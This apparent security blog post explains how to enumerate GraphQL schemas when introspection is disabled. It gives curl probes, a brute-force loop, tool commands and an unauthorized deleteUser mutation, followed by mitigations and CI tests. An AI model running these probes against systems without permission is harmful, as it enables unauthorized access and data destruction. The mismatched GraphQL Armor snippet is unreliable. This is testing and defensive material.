Listen to this Post

Introduction:
GraphQL introspection is a built‑in feature that allows clients to query the schema of a GraphQL API, listing all available queries, mutations, types, and fields. Many security teams disable introspection in production to hide this sensitive information. However, as the recent bug bounty finding by SHIVAM KUMAR demonstrates, disabling introspection does not always mean the endpoint is truly secure – an attacker can still enumerate the schema through error messages or by directly guessing operation names, turning a “disabled” feature into a critical information leak.
Learning Objectives:
- Understand how GraphQL introspection works and why disabling it is not a complete fix.
- Learn manual and automated techniques to bypass introspection restrictions and enumerate hidden queries/mutations.
- Apply mitigation strategies to secure GraphQL endpoints against schema disclosure and unauthorized operation abuse.
You Should Know:
- Understanding GraphQL Introspection and Why “Disabled” Is Not Enough
GraphQL introspection is a meta‑query that lets clients ask the API what data it can provide. A typical introspection query looks like this:query { __schema { types { name fields { name } } } }When properly disabled, the server returns an error like
"GraphQL introspection is not allowed". However, as the reported scenario shows, an attacker can bypass this by sending a simple query that does not use `__schema` but instead directly requests an operation name (e.g.,query{admin}). If the server responds with data or a different error message (e.g.,"Field 'admin' not found"), the attacker confirms that the endpoint is alive and can start brute‑forcing operation names.
Step‑by‑step guide to test for bypass:
- Identify a GraphQL endpoint (commonly
/graphql,/v1/graphql,/gql). - Send a basic query using `curl` (Linux/macOS) or PowerShell (Windows):
Linux / macOS curl -X POST https://target.com/graphql \ -H "Content-Type: application/json" \ -d '{"query":"query{__schema{types{name}}}"}'Expected if introspection disabled: `{“errors”:[{“message”:”GraphQL introspection is not allowed”}]}`
3. Now send a guess operation name:
curl -X POST https://target.com/graphql \
-H "Content-Type: application/json" \
-d '{"query":"query{admin}"}'
4. If the response is different (e.g., `{“data”:{“admin”:null}}` or a field‑not‑found error), you have confirmed that the server processes arbitrary operation names – a first step toward full enumeration.
Windows PowerShell equivalent:
Invoke-RestMethod -Uri "https://target.com/graphql" -Method Post -ContentType "application/json" -Body '{"query":"query{admin}"}'
2. Manual Enumeration of Queries, Mutations, and Types
Once you know the endpoint accepts arbitrary top‑level fields, you can attempt to discover valid operation names using a wordlist or common naming patterns (e.g., users, getUser, createOrder, deleteUser, login, admins). This technique bypasses the introspection block because it never calls __schema.
Step‑by‑step guide to manual enumeration:
- Create a wordlist of common GraphQL operation names (download from SecLists or use common terms).
2. Use a simple `bash` loop to brute‑force:
while read op; do
curl -s -X POST https://target.com/graphql \
-H "Content-Type: application/json" \
-d "{\"query\":\"query{$op}\"}" \
-o /dev/null -w "%{http_code} $op\n"
done < wordlist.txt
Look for HTTP 200 responses that contain `”data”` rather than "errors".
3. For mutations, use the same approach with mutation{$op(...)}:
curl -X POST https://target.com/graphql \
-H "Content-Type: application/json" \
-d '{"query":"mutation{createOrder(input:{})}"}'
4. Analyze error messages – they often reveal argument names or types (e.g., "Field 'createOrder' argument 'input' of required type 'OrderInput!'"). This leaks schema information even when introspection is off.
3. Automated Tools for GraphQL Schema Extraction
Manual enumeration is slow. Several tools automate the process of inferring a GraphQL schema without using __schema.
Using GraphQLmap (Python tool):
git clone https://github.com/swisskyrepo/GraphQLmap cd GraphQLmap python3 graphqlmap.py -u https://target.com/graphql
Inside GraphQLmap, use commands like `dump_all` to brute‑force common fields.
Using Clairvoyance (by nikitastupin):
git clone https://github.com/nikitastupin/clairvoyance cd clairvoyance python3 clairvoyance.py -t https://target.com/graphql -w wordlist.txt
Clairvoyance uses a generative approach – it infers types by analyzing error messages and existing responses.
Using InQL (Burp Suite extension):
- Install InQL from BApp Store.
- Point it to the GraphQL endpoint, enable “Introspection bypass mode”.
- The extension will send thousands of probing queries to reconstruct the schema.
4. Exploiting Sensitive Operations (Trading Mutations, Admin Endpoints)
Once you have enumerated a list of operations, look for high‑impact ones: createOrder, deleteUser, updatePermissions, admins, resetPassword. Test these operations for missing authorization or IDOR vulnerabilities.
Example mutation testing:
mutation {
deleteUser(userId: "123")
}
If the server does not validate that the authenticated user owns userId=123, you can delete any user.
Step‑by‑step guide to exploiting a found mutation:
- Identify a mutation that changes state (e.g.,
transferFunds). - Capture a legitimate request using Burp or a browser’s dev tools.
- Modify parameters – try changing a user ID, role, or amount.
- Send the request with the same session cookie or token.
- If the action succeeds on another user’s resource, you have an authorization bypass.
Linux / Windows command to test with a bearer token:
curl -X POST https://target.com/graphql \
-H "Content-Type: application/json" \
-H "Authorization: Bearer YOUR_TOKEN" \
-d '{"query":"mutation{deleteUser(userId:\"victim_id\")}"}'
5. Mitigation Strategies: Hardening GraphQL Endpoints
To prevent the bypass described above, implement multiple layers of defense:
- Strict operation name allow‑listing – Only permit pre‑registered operation names (using persisted queries or operation safelisting).
- Consistent error masking – Return the same generic error (
"Invalid request") for any unknown field, mutation, or introspection attempt. - Rate limiting and anomaly detection – Block IPs that send many unique operation names in a short time.
- Disable unused query types – If your API only uses mutations, disable the `query` root type entirely.
Example configuration (Apollo Server with allow‑list):
const { ApolloServer } = require('apollo-server');
const allowList = ['GetUser', 'CreateOrder']; // persisted query hashes or names
const server = new ApolloServer({
typeDefs,
resolvers,
validationRules: [ (context) => ({
OperationDefinition(node) {
if (!allowList.includes(node.name?.value)) {
throw new Error('Operation not allowed');
}
}
}) ]
});
Example using GraphQL Armor (Node.js):
npm install graphql-armor
const { shield, allow } = require('graphql-shield');
const { maxDepthRule } = require('graphql-armor');
const permissions = shield({
Query: allow,
Mutation: allow,
}, { fallbackError: 'Invalid request' });
6. API Security Testing: Integrating GraphQL into CI/CD
To catch introspection bypasses before they reach production, add automated GraphQL security tests to your pipeline.
Step‑by‑step using Newman (Postman CLI):
- Export a Postman collection that includes probes like `query{unknownField}` and
query{__schema{types{name}}}.
2. Run the collection against your staging environment:
newman run GraphQL-Security-Tests.json \ --env-var baseUrl=https://staging-api.com
3. Assert that no schema data is leaked (response should not contain `__schema` or field names).
4. Fail the build if any sensitive information is disclosed.
Linux / Windows commands for CI integration (GitHub Actions):
- name: GraphQL Security Scan
run: |
curl -X POST https://staging-api.com/graphql \
-H "Content-Type: application/json" \
-d '{"query":"query{__schema{types{name}}}"}' \
| grep -q "__schema" && exit 1 || exit 0
- Reporting and Handling Duplicates in Bug Bounty Programs
The original report was closed as a duplicate because another hacker had already reported the same core issue. To avoid this and maximize impact:
- Search for existing reports – Check HackerOne’s public disclosure or ask the program if the endpoint has been tested.
- Add unique value – Show exploitation beyond enumeration (e.g., chaining the schema leak with an IDOR or privilege escalation).
- Provide a proof of concept – Include a short script that extracts the schema and then uses a found mutation to change data.
- Focus on business impact – Instead of just “schema disclosure”, state “an attacker can discover and call `deleteUser` without authorization”.
Example report template snippet:
Vulnerability: GraphQL introspection bypass leading to full schema enumeration and unauthorized `deleteUser` mutation.
> Steps to reproduce:
- Send `{“query”:”query{deleteUser}”}` – returns
"Field 'deleteUser' argument 'userId' of required type 'ID!'".- Send `{“query”:”mutation{deleteUser(userId:\”123\”)}”}` with a low‑privileged token – deletes user 123.
Impact: Any authenticated user can delete any other user account.
What Undercode Say:
- “Disabled” is a configuration, not a boundary. Attackers will always probe for side channels – error messages, naming conventions, and brute‑forcing – to reconstruct what you tried to hide. Relying solely on disabling introspection gives a false sense of security.
- Defense in depth wins. Combine operation allow‑listing, generic error messages, rate limiting, and persistent query validation. GraphQL’s flexibility is its strength, but without strict controls, every field becomes a potential attack surface.
The GraphQL ecosystem is growing rapidly, yet many production APIs still treat introspection as the only secret. As bug bounty hunters and defenders, we must shift the mindset from “disable the feature” to “assume every query name is guessable”. The original finding by SHIVAM KUMAR is a perfect case study – a simple `query{admin}` bypassed a security control that was never designed to stop direct operation enumeration. Future GraphQL security will move toward zero‑trust schemas, where even valid operation names are cryptographically non‑guessable (e.g., using persisted queries with opaque IDs). Until then, every GraphQL endpoint should be tested with both introspection queries and blind operation probes.
Prediction:
Within the next 18 months, GraphQL‑specific attack tools will become standard in every penetration tester’s arsenal, automating the bypass of disabled introspection through machine‑learning‑based field name prediction. Simultaneously, API security vendors will introduce “GraphQL Firewall” rules that detect and block brute‑force enumeration of operation names. However, the most significant shift will be the adoption of persisted queries by default in major frameworks (Apollo, Hasura, Hot Chocolate), making operation names opaque and effectively killing the bypass technique described here – but only for organisations that upgrade. Legacy GraphQL endpoints will remain vulnerable, leading to an uptick in data breaches traced back to “disabled introspection” bypasses.
▶️ Related Video (78% Match):
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Shivam Kumar – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅


